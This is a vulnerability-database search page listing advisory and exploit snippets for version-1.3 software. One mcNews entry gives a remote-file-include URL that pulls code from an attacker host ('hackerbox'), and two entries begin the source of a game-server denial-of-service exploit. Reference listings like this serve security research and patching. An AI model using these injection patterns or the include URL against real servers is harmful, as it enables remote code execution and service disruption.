866 matches found
PT-2005-3817 · Noah · Noah'S Classifieds
Name of the Vulnerable Software and Affected Versions: Noah's classifieds version 1.3 Description: A cross-site scripting XSS issue allows remote attackers to inject arbitrary web script or HTML via the rollid parameter in the index.php file. This could potentially lead to unauthorized actions on...
Vulnerability found in CPAINT Ajax Toolkit
I am the original author of the CPAINT Ajax Toolkit http://cpaint.sourceforge.net/. Last night we found a vulnerability affecting all versions of CPAINT prior to v1.3-SP which is the patched version of the software that can allow a user with malicious intent to execute server or ASP/PHP commands...
simplecam12.txt
Donato Ferrante Application: SimpleCam http://www.deadpirate.com/ Version: 1.2 Bug: directory traversal Date: 04-May-2005 Author: Donato Ferrante e-mail: [email protected] web: www.autistici.org/fdonato xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx 1. Description 2...
[SA15736] amaroK Web Frontend Exposure of User Credentials
---------------------------------------------------------------------- Bist Du interessiert an einem neuen Job in IT-Sicherheit? Secunia hat zwei freie Stellen als Junior und Senior Spezialist in IT- Sicherheit: http://secunia.com/secuniavacancies/...
PT-2005-2863 · Unknown · Livingmailing
Name of the Vulnerable Software and Affected Versions: livingmailing version 1.3 Description: The issue allows remote attackers to execute arbitrary SQL commands via the password in the login.asp file. There is little public information available about the product and its vendor. Recommendations:...
McNews 1.x - 'install.php' Arbitrary File Inclusion
source: https://www.securityfocus.com/bid/12835/info mcNews is reportedly affected by a remote file include vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input to the 'install.php' script. This issue is reported to affect mcNews versions 1.3 a...
PHP mcNews <= 1.3 arbitrary file inclusion (VXSfx)
-- == -- == -- == -- == -- == -- == -- == -- == -- == -- Name: PHP mcNews Version: 1.3 Homepage: http://www.phpforums.net/index.php?dir=dld Author: Filip Groszynski VXSfx Date: 7 March 2005 -- == -- == -- == -- == -- == -- == -- == -- == -- == -- Vulnerable code in mcNews/admin/header.php: ? //...
PHP mcNews <= 1.3 (skinfile) Remote File Include Vulnerability
No description provided by source. Example: if registerglobals=on and allowurlfopen=on: http://victim/dir/mcNews/admin/header.php?skinfile=http://hackerbox/ milw0rm.com 2005-03-07...
[SA13330] IberAgents Clear Text User Credential Disclosure
TITLE: IberAgents Clear Text User Credential Disclosure SECUNIA ADVISORY ID: SA13330 VERIFY ADVISORY: http://secunia.com/advisories/13330/ CRITICAL: Less critical IMPACT: Exposure of sensitive information WHERE: Local system SOFTWARE: IberAgents 1.x http://secunia.com/product/4336/ DESCRIPTION: A...
Soldier of Fortune II <= 1.3 Server/Client Denial of Service Exploit
No description provided by source. / by Luigi Auriemma / include stdio.h include stdlib.h include string.h ifdef WIN32 include winsock.h / Header file used for manage errors in Windows It support socket and errno too this header replace the previous sockerrX.h / include string.h include errno.h...
Soldier of Fortune II <= 1.3 Server/Client Denial of Service Exploit
Exploit for unknown platform in category dos / poc ==================================================================== Soldier of Fortune II include include ifdef WIN32 include / Header file used for manage errors in Windows It support socket and errno too this header replace the previous...
Cross Site Scripting in Moodle < 1.3
Cross Site Scripting in Moodle 1.3 ==================================== 2004-04-30 01 Author: author: Bartek Nowotarski silence location: Trzebinia, Poland mail: silence10atwpdotpl site: silencedot0dotpl 02 Discussion: "Moodle is a course management system CMS - a software package designed to hel...
CVE-2004-0359
Cross-site scripting XSS vulnerability in index.php for Invision Power Board 1.3 final allows remote attackers to execute arbitrary script as other users via the 1 c, 2 f, 3 showtopic, 4 showuser, or 5 username parameters...
InstaBoard 1.3 - 'index.cfm' SQL Injection
source: https://www.securityfocus.com/bid/7338/info It has been reported that multiple input validation errors exist in the index.cfm file included with InstaBoard. Because of this issue, remote attackers may launch SQL injection attacks through the software. The consequences may vary depending o...
IBM Tivoli Firewall Toolbox contains vulnerability
Overview A vulnerability in the Tivoli Firewall Toolbox version 1.2 has been discovered that can lead to remote unauthorized compromise of the environment with in the firewall system. Description A buffer overflow vulnerability in the communications layer of the Tivoli Firewall Toolbox has been...
PT-2002-2620 · Apple · Terminal
Name of the Vulnerable Software and Affected Versions: Terminal versions 1.3 Description: The issue allows remote attackers to execute arbitrary commands via shell metacharacters in a "telnet://" link, which is executed by Terminal.app window. This can lead to unauthorized access and execution of...
TCP flood against NetGear FM114P
Hi! I've got a lot of availability trouble with my NetGear FM114P. After asking the support and no good answer I started doing some test for myself. It seems possible to crash the NetGear FM114P with many TCP connects. I did some tests on my FM114P firmware Version 1.3 Release 05 and these are th...
[ADVISORY]: Arbitrary file disclosure vulnerability in Sympoll 1.2
Sympoll is a customizable voting booth system written in PHP. A missing variable integrity check allows arbitrary files to be viewed on a web server that hosts Sympoll version 1.2. Hosts that have disabled the registerglobals directive in their php.ini file are not at risk. This vulnerability was...
CVE-2002-0683
Directory traversal vulnerability in Carello 1.3 allows remote attackers to execute programs on the server via a .. dot dot in the VBEXE parameter...
security flaw
Apache 1.3 through 1.3.24, and Apache 2.0 through 2.0.36, allows remote attackers to cause a denial of service and possibly execute arbitrary code via a chunk-encoded HTTP request that causes Apache to use an incorrect size...